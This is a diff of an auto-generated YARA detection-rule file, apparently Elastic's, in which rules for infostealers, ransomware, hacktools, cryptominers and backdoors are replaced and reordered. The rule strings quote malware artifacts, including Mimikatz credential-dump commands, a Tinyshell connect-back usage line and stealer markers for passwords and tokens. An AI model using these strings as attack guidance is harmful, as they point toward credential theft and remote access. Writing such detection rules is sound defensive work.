 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$a1 = "Checking Virtual PC processes %s " wide fullword
-		$a2 = "SELECT * FROM Win32_ComputerSystemProduct" ascii fullword
-		$a3 = "Injection-Date" ascii fullword
-		$a4 = " -Command \"Wait-Process -Id " ascii fullword
-		$a5 = "%WINDIR%\\System32\\wscript.exe" wide fullword
-		$a6 = "objShell.Run \"rundll32.exe my_application_path"
-		$a7 = "Checking reg key HARDWARE\\Description\\System - %s is set to %s" wide fullword
+		$s1 = "[dump | list | askhash | describe | asktgt | asktgs | s4u | ptt | remove | asklkdcdomain]" fullword
+		$s2 = "[-] Error in parseKirbi: %s"
+		$s3 = "[-] Error in parseTGSREP: %s"
+		$s4 = "genPasswordHashPassword:Length:Enc:Username:Domain:Pretty:"
+		$s5 = "storeLKDCConfDataFriendlyName:Hostname:Password:CCacheName:"
+		$s6 = "bifrostconsole-"
+		$s7 = "-kerberoast"
+		$s8 = "asklkdcdomain"
+		$s9 = "askhash"
 
 	condition:
-		5 of them
+		3 of them
 }
-rule ELASTIC_Windows_Hacktool_Sharpchromium_41Ce5080 : FILE MEMORY
+rule ELASTIC_Windows_Infostealer_Phemedronestealer_Bed8Ea8A : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Sharpchromium (Windows.Hacktool.SharpChromium)"
+		description = "Detects Windows Infostealer Phemedronestealer (Windows.Infostealer.PhemedroneStealer)"
 		author = "Elastic Security"
-		id = "41ce5080-7d84-4a56-8de8-86959eb92057"
-		date = "2022-11-20"
-		modified = "2023-01-11"
+		id = "bed8ea8a-f2a3-4a51-ae57-4986da4d21aa"
+		date = "2024-03-21"
+		modified = "2024-05-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_SharpChromium.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9dd65aa53728d51f0f3b9aaf51a24f8a2c3f84b4a4024245575975cf9ad7f2e5"
-		logic_hash = "50972a6e6af1d7076243320fb6559193e0c46ac1300aa62d12390fdeb2fffdcd"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Infostealer_PhemedroneStealer.yar#L1-L30"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "38279fdad25c7972be9426cadb5ad5e3ee7e9761b0a41ed617945cb9a3713702"
+		logic_hash = "88fc33abfe6c7a611aa0c354645b06e9e74121ffc9a5acd20b4d3a59287489d6"
 		score = 75
-		quality = 48
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "b6695ded1a6f647812c7f355e089a2ed7209ac59f51a97d8f6b1897bb1e7d9ad"
+		fingerprint = "29702a2dc8b20c230ffef00dfff725133b707e35523e075ff85484a20da3c760"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -86167,119 +90012,131 @@ rule ELASTIC_Windows_Hacktool_Sharpchromium_41Ce5080 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$guid = "F1653F20-D47D-4F29-8C55-3C835542AF5F" ascii wide nocase
-		$print_str0 = "[X] Exception occurred while writing cookies to file: {0}" ascii wide fullword
-		$print_str1 = "[*] All cookies written to {0}" ascii wide fullword
-		$print_str2 = "\\{0}-cookies.json" ascii wide fullword
-		$print_str3 = "[*] {0} {1} extraction." ascii wide fullword
+		$a1 = "<KillDebuggers>b_"
+		$a2 = "<Key3Database>b_"
+		$a3 = "<IsVM>b_"
+		$a4 = "<ParseDatWallets>b_"
+		$a5 = "<ParseExtensions>b_"
+		$a6 = "<ParseDiscordTokens>b_"
+		$b1 = "Phemedrone.Senders"
+		$b2 = "Phemedrone.Protections"
+		$b3 = "Phemedrone.Extensions"
+		$b4 = "Phemedrone.Cryptography"
+		$b5 = "Phemedrone-Report.zip"
+		$b6 = "Phemedrone Stealer Report"
 
 	condition:
-		$guid or all of ($print_str*)
+		all of ($a*) or all of ($b*)
 }
-rule ELASTIC_Linux_Trojan_Gognt_50C3D9Da : FILE MEMORY
+rule ELASTIC_Windows_Packer_Scrubcrypt_6A75A4Bb : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gognt (Linux.Trojan.Gognt)"
+		description = "Detects Windows Packer Scrubcrypt (Windows.Packer.ScrubCrypt)"
 		author = "Elastic Security"
-		id = "50c3d9da-0392-4379-aafe-cfe63ade3314"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "6a75a4bb-8026-4c33-af39-621d76f3baba"
+		date = "2023-04-18"
+		modified = "2023-06-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gognt.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "79602bc786edda7017c5f576814b683fba41e4cb4cf3f837e963c6d0d42c50ee"
-		logic_hash = "ecd9cd94b3bf8c50c347e70aab3da03ea6589530b20941a9f62dac501f8144fc"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Packer_ScrubCrypt.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "05c1eea2ff8c31aa5baf1dfd8015988f7e737753275ed1c8c29013a3a7414b50"
+		logic_hash = "edcaa6f1cc85ef084ae5bf2524f39869a90b008dce85e72bca4835565f067ca7"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a4b7e0c7c2f1b0634f82106ec0625bcdde02296b3e72c9c3aa9c16e40d770b43"
+		fingerprint = "263175cbdc74502a595664833c90bf0a27f2bf20c227775658d552e29d98620e"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 00 00 00 47 6F 00 00 51 76 46 5F 6F 30 59 36 55 72 5F 6C 63 44 }
+		$a = { 43 68 65 63 6B 52 65 6D 6F 74 65 44 65 62 75 67 67 65 72 50 72 65 73 65 6E 74 00 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6E 74 }
+		$b = { 53 63 72 75 62 43 72 79 70 74 00 53 74 61 72 74 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gognt_05B10F4B : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Cybergate_517Aac7D : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gognt (Linux.Trojan.Gognt)"
+		description = "Detects Windows Trojan Cybergate (Windows.Trojan.CyberGate)"
 		author = "Elastic Security"
-		id = "05b10f4b-7434-457a-9e8e-d898bb839dce"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "517aac7d-2737-4917-9aa1-c0bd1c3e9801"
+		date = "2022-02-28"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gognt.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e43aaf2345dbb5c303d5a5e53cd2e2e84338d12f69ad809865f20fd1a5c2716f"
-		logic_hash = "1dfc3417f75aa81aea5eda3d6da076f1cacf82dbfc039252b1d16f52b81a5a65"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CyberGate.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "07b8f25e7b536f5b6f686c12d04edc37e11347c8acd5c53f98a174723078c365"
+		logic_hash = "50e061d0c358655c03b95ccbe2d05e252501c3e6afd21dd20513019cd67e6147"
 		score = 75
-		quality = 75
+		quality = 48
 		tags = "FILE, MEMORY"
-		fingerprint = "fdf7b65f812c17c7f30b3095f237173475cdfb0c10a4b187f751c0599f6b5729"
+		fingerprint = "3d998bda8e56de6fd6267abdacffece8bcf1c62c2e06540a54244dc6ea816825"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 7C 24 78 4C 89 84 24 A8 00 00 00 48 29 D7 49 89 F9 48 F7 DF 48 C1 }
+		$a1 = "IELOGIN.abc" ascii fullword
+		$a2 = "xxxyyyzzz.dat" ascii fullword
+		$a3 = "_x_X_PASSWORDLIST_X_x_" ascii fullword
+		$a4 = "L$_RasDefaultCredentials#0" ascii fullword
+		$a5 = "\\signons1.txt" ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Winflash_881758Da : FILE
+rule ELASTIC_Windows_Trojan_Cybergate_9996D800 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Vulndriver Winflash (Windows.VulnDriver.WinFlash)"
+		description = "Detects Windows Trojan Cybergate (Windows.Trojan.CyberGate)"
 		author = "Elastic Security"
-		id = "881758da-760c-4c50-81f2-8bd698972ba2"
-		date = "2022-04-04"
-		modified = "2022-04-04"
+		id = "9996d800-a833-4535-972b-3ee320215bb6"
+		date = "2022-02-28"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_WinFlash.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8596ea3952d84eeef8f5dc5b0b83014feb101ec295b2d80910f21508a95aa026"
-		logic_hash = "a46ac1f19ba5d9543c88434575870b61fbb935cd4c4e28cb80a077502af7d2db"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CyberGate.yar#L25-L43"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "07b8f25e7b536f5b6f686c12d04edc37e11347c8acd5c53f98a174723078c365"
+		logic_hash = "efefc171b6390c9792145973708358f62b18b8d0180feacaf5b9267563c3f7cc"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "1c64ee1c3fc6bf93e207810a473367c404c824d0eaba15910b00016e23d53637"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "eb39d2ff211230aedcf1b5ec0d1dfea108473cc7cba68f5dc1a88479734c02b0"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$str1 = "\\WinFlash64.pdb"
+		$a1 = { 24 08 8B 44 24 08 83 C4 14 5D 5F 5E 5B C3 55 8B EC 83 C4 F0 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Jesterstealer_B35C6F4B : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Cybergate_C219A2F3 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Jesterstealer (Windows.Trojan.JesterStealer)"
+		description = "Detects Windows Trojan Cybergate (Windows.Trojan.CyberGate)"
 		author = "Elastic Security"
-		id = "b35c6f4b-995f-4336-94bf-fc6dc8c124f4"
-		date = "2022-02-28"
-		modified = "2022-04-12"
+		id = "c219a2f3-5ae2-4cdf-97d7-2778954ee826"
+		date = "2023-05-04"
+		modified = "2023-06-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_JesterStealer.yar#L1-L25"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "10c3846867f70dd26c5a54332ed22070c9e5e0e4f52f05fdae12ead801f7933b"
-		logic_hash = "acc49348267e963af9ff6ba7afa053d4056d4068b4386a872e33e025790ba759"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CyberGate.yar#L45-L64"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b7204f8caf6ace6ae1aed267de0ad6b39660d0e636d8ee0ecf88135f8a58dc42"
+		logic_hash = "8075892728c610c1ceacd0df54615d2a3e833d728d631a9bf81311e8c6485f6e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "d91c26a06ba7c9330e38a4744299223d3b28a96f131bce5198c4ef7c74b7d2ff"
+		fingerprint = "8a79d1eba89dd08d2e8bdedee834c88dbeabf5f2f249b1e5accdb827671c22c2"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -86287,34 +90144,29 @@ rule ELASTIC_Windows_Trojan_Jesterstealer_B35C6F4B : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "[Decrypt Chrome Password] {0}" wide fullword
-		$a2 = "Passwords.txt" wide fullword
-		$a3 = "9Stealer.Recovery.FTP.FileZilla+<EnumerateCredentials>d__0" ascii fullword
-		$a4 = "/C chcp 65001 && ping 127.0.0.1 && DEL /F /S /Q /A \"" wide fullword
-		$a5 = "citigroup.com" wide fullword
-		$a6 = "Password: {1}" wide fullword
-		$a7 = "set_steamLogin" ascii fullword
+		$a1 = { 00 00 55 8B EC 83 C4 EC 56 57 8B 45 08 8B F0 8D 7D EC A5 A5 }
+		$a2 = { 49 80 39 C3 75 F5 8B C2 C3 55 8B EC 6A 00 6A 00 6A 00 53 56 57 }
 
 	condition:
-		5 of them
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Jesterstealer_8F657F58 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Royal_B7D42109 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Jesterstealer (Windows.Trojan.JesterStealer)"
+		description = "Detects Windows Ransomware Royal (Windows.Ransomware.Royal)"
 		author = "Elastic Security"
-		id = "8f657f58-57e0-4e5f-9223-00bfade16605"
-		date = "2022-02-28"
-		modified = "2022-04-12"
+		id = "b7d42109-f327-4ec3-86ac-d1ebb9478860"
+		date = "2022-11-04"
+		modified = "2022-12-20"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_JesterStealer.yar#L27-L45"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "10c3846867f70dd26c5a54332ed22070c9e5e0e4f52f05fdae12ead801f7933b"
-		logic_hash = "20a0d8be9c25d50d4dddd455ecb9739f772f57e988855c7fc2df597b2f67585b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Royal.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "491c2b32095174b9de2fd799732a6f84878c2e23b9bb560cd3155cbdc65e2b80"
+		logic_hash = "06f4a1487e97e0b8c1f5df380ab4f90b37ef0a508aba7dac272c16c8371d8143"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "aabf8633e853f623b75e8a354378d110442e724425f623b8c553d3522ca5dad6"
+		fingerprint = "ff518f25b39b02769b67c437f38958d14e4e8f50b91f4c73591203da297a5d2a"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -86322,57 +90174,64 @@ rule ELASTIC_Windows_Trojan_Jesterstealer_8F657F58 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = { 27 01 00 00 00 96 08 0B 80 79 01 6C 02 A4 27 01 00 00 00 96 08 }
+		$a1 = "Try Royal today and enter the new era of data security" ascii fullword
+		$a2 = "If you are reading this, it means that your system were hit by Royal ransomware." ascii fullword
+		$a3 = "http://royal"
+		$a4 = "\\README.TXT" wide fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Uwamson_C42Fd06D : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Sharpdump_7C17D8B1 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Uwamson (Linux.Cryptominer.Uwamson)"
+		description = "Detects Windows Hacktool Sharpdump (Windows.Hacktool.SharpDump)"
 		author = "Elastic Security"
-		id = "c42fd06d-b9ab-4f1f-bb59-e7b49355115c"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "7c17d8b1-35cf-440e-8f4e-44abdc2054bb"
+		date = "2022-10-20"
+		modified = "2022-11-24"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Uwamson.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8cfc38db2b860efcce5da40ce1e3992f467ab0b7491639d68d530b79529cda80"
-		logic_hash = "4ff7aad11adaae8fccb23d36fc96937ba48a5517895a742f2864ba1973f3db3a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_SharpDump.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "14c3ea569a1bd9ac3aced4f8dd58314532dbf974bfa359979e6c7b6a4bbf41ca"
+		logic_hash = "10ca29b097d9f1cef27349751e8f1e584ead1056a636224a80f00823ca878c13"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "dac171e66289e2222cd631d616f31829f31dfeeffb34f0e1dcdd687d294f117c"
+		fingerprint = "cf1e23fc0a317959fceadae8984240b174dac22a1bcabccf43c34f0186a3ac23"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { F0 4C 89 F3 48 8B 34 24 48 C1 E0 04 48 C1 E3 07 48 8B 7C 24 10 48 }
+		$guid = "9c9bba3-a0ea-431c-866c-77004802d" ascii wide nocase
+		$print_str0 = "Please use \"SharpDump.exe [pid]\" format" ascii wide
+		$print_str1 = "[*] Use \"sekurlsa::minidump debug.out\" \"sekurlsa::logonPasswords full\" on the same OS/arch" ascii wide
+		$print_str2 = "[+] Dumping completed. Rename file to \"debug{0}.gz\" to decompress" ascii wide
+		$print_str3 = "[X] Not in high integrity, unable to MiniDump!" ascii wide
 
 	condition:
-		all of them
+		$guid or all of ($print_str*)
 }
-rule ELASTIC_Linux_Cryptominer_Uwamson_D08B1D2E : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Bscope_348B7Fa0 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Uwamson (Linux.Cryptominer.Uwamson)"
+		description = "Detects Linux Cryptominer Bscope (Linux.Cryptominer.Bscope)"
 		author = "Elastic Security"
-		id = "d08b1d2e-cbd5-420e-8f36-22b9efb5f12c"
+		id = "348b7fa0-e226-4350-8697-345ae39fa0f6"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Uwamson.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4f7ad24b53b8e255710e4080d55f797564aa8c270bf100129bdbe52a29906b78"
-		logic_hash = "8f489bb020397beae91f7bce82bc1b47912deab1b79224158f79c53f1d7c7fd3"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Bscope.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a6fb80d77986e00a6b861585bd4e573a927e970fb0061bf5516f83400ad7c0db"
+		logic_hash = "bc6a59dcc36676273c61fa71231fd8709884beebb7ab64b58f22551393b20c71"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "1e55dc81a44af9c15b7a803e72681b5c24030d34705219f83ca4779fd885098c"
+		fingerprint = "caae9d3938f9269f8bc30e4837021513ca6e4e2edd1117d235b0d25474df5357"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -86380,28 +90239,28 @@ rule ELASTIC_Linux_Cryptominer_Uwamson_D08B1D2E : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 4F F8 49 8D 7D 18 89 D9 49 83 C5 20 48 89 FE 41 83 E1 0F 4D 0F }
+		$a = { 04 8B 00 03 45 C0 89 02 8B 45 08 8D 50 08 8B 45 08 83 C0 08 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Uwamson_0797De34 : FILE MEMORY
+rule ELASTIC_Linux_Backdoor_Tinyshell_67Ee6Fae : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Uwamson (Linux.Cryptominer.Uwamson)"
+		description = "Detects Linux Backdoor Tinyshell (Linux.Backdoor.Tinyshell)"
 		author = "Elastic Security"
-		id = "0797de34-9181-4f28-a4b0-eafa67e20b41"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "67ee6fae-304b-47f5-93b6-4086a864d433"
+		date = "2021-10-12"
+		modified = "2022-01-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Uwamson.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e4699e35ce8091f97decbeebff63d7fa8c868172a79f9d9d52b6778c3faab8f2"
-		logic_hash = "7ab5dd99d8bbef61ec764900df5bebf39ed90833a8f9481c427cbb46faf2c521"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Backdoor_Tinyshell.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9d2e25ec0208a55fba97ac70b23d3d3753e9b906b4546d1b14d8c92f8d8eb03d"
+		logic_hash = "200d4267e21b8934deecc48273294f2e34464fcb412e39f3f5a006278631b9f1"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "b6a210c23f09ffa0114f12aa741be50f234b8798a3275ac300aa17da29b8727c"
+		fingerprint = "f71ce364fb607ee6f4422864674ae3d053453b488c139679aa485466893c563d"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -86409,28 +90268,31 @@ rule ELASTIC_Linux_Cryptominer_Uwamson_0797De34 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 43 20 48 B9 AB AA AA AA AA AA AA AA 88 44 24 30 8B 43 24 89 44 }
+		$a1 = "Usage: %s [ -c [ connect_back_host ] ] [ -s secret ] [ -p port ]" fullword
+		$a2 = "s:p:c::" fullword
+		$b1 = "Usage: %s [ -s secret ] [ -p port ] [command]" fullword
+		$b2 = "<hostname|cb> get <source-file> <dest-dir>" fullword
 
 	condition:
-		all of them
+		( all of ($a*)) or ( all of ($b*))
 }
-rule ELASTIC_Linux_Cryptominer_Uwamson_41E36585 : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Portscan_A40C7Ef0 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Uwamson (Linux.Cryptominer.Uwamson)"
+		description = "Detects Linux Hacktool Portscan (Linux.Hacktool.Portscan)"
 		author = "Elastic Security"
-		id = "41e36585-0ef1-4896-a887-dac437c716a5"
+		id = "a40c7ef0-627c-4965-b4d3-b05b79586170"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Uwamson.yar#L61-L79"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8cfc38db2b860efcce5da40ce1e3992f467ab0b7491639d68d530b79529cda80"
-		logic_hash = "e176523afe8c3394ddda41a5ef11f825fed1e149476709a7c1ea26b8af72d4fc"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Portscan.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c389c42bac5d4261dbca50c848f22c701df4c9a2c5877dc01e2eaa81300bdc29"
+		logic_hash = "6118ea86d628450e79ee658f4b95bae40080764a25240698d8ca7fcb7e6adaaf"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ad2d4a46b9378c09b1aef0f2bf67a990b3bacaba65a5b8c55c2edb0c9a63470d"
+		fingerprint = "bf686c3c313936a144265cbf75850c8aee3af3ae36cb571050c7fceed385451d"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -86438,144 +90300,144 @@ rule ELASTIC_Linux_Cryptominer_Uwamson_41E36585 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { F8 03 48 C1 FF 03 4F 8D 44 40 FD 48 0F AF FE 49 01 F8 4C 01 C2 4C }
+		$a = { 54 50 44 00 52 65 73 70 6F 6E 73 65 20 77 61 73 20 4E 54 50 20 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Bazar_711D59F6 : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Portscan_6C6000C2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Bazar (Windows.Trojan.Bazar)"
+		description = "Detects Linux Hacktool Portscan (Linux.Hacktool.Portscan)"
 		author = "Elastic Security"
-		id = "711d59f6-6e8a-485d-b362-4c1bf1bda66e"
-		date = "2021-06-28"
-		modified = "2021-08-23"
+		id = "6c6000c2-7e9a-457c-a745-00a3ac83a4bc"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Bazar.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f29253139dab900b763ef436931213387dc92e860b9d3abb7dcd46040ac28a0e"
-		logic_hash = "3bde62b468c44bdc18878fd369a7f0cf06f7be64149587a11524f725fa875f69"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Portscan.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8877009fc8ee27ba3b35a7680b80d21c84ee7296bcabe1de51aeeafcc8978da7"
+		logic_hash = "0cae81cbc0fdf48b4e7ac09865f05e2ad93d79b7a6f1af76a632727127ab050f"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a9e78b4e39f4acaba86c2595db67fcdcd40d1af611d41a023bd5d8ca9804efa4"
+		fingerprint = "3c893aebe688d70aebcb15fdc0d2780d2ec0589084c915ff71519ec29e5017f1"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 0F 94 C3 41 0F 95 C0 83 FA 0A 0F 9C C1 83 FA 09 0F 9F C2 31 C0 }
+		$a = { 30 B9 0E 00 00 00 4C 89 D7 F3 A6 0F 97 C2 80 DA 00 84 D2 45 0F }
 
 	condition:
 		all of them
 }
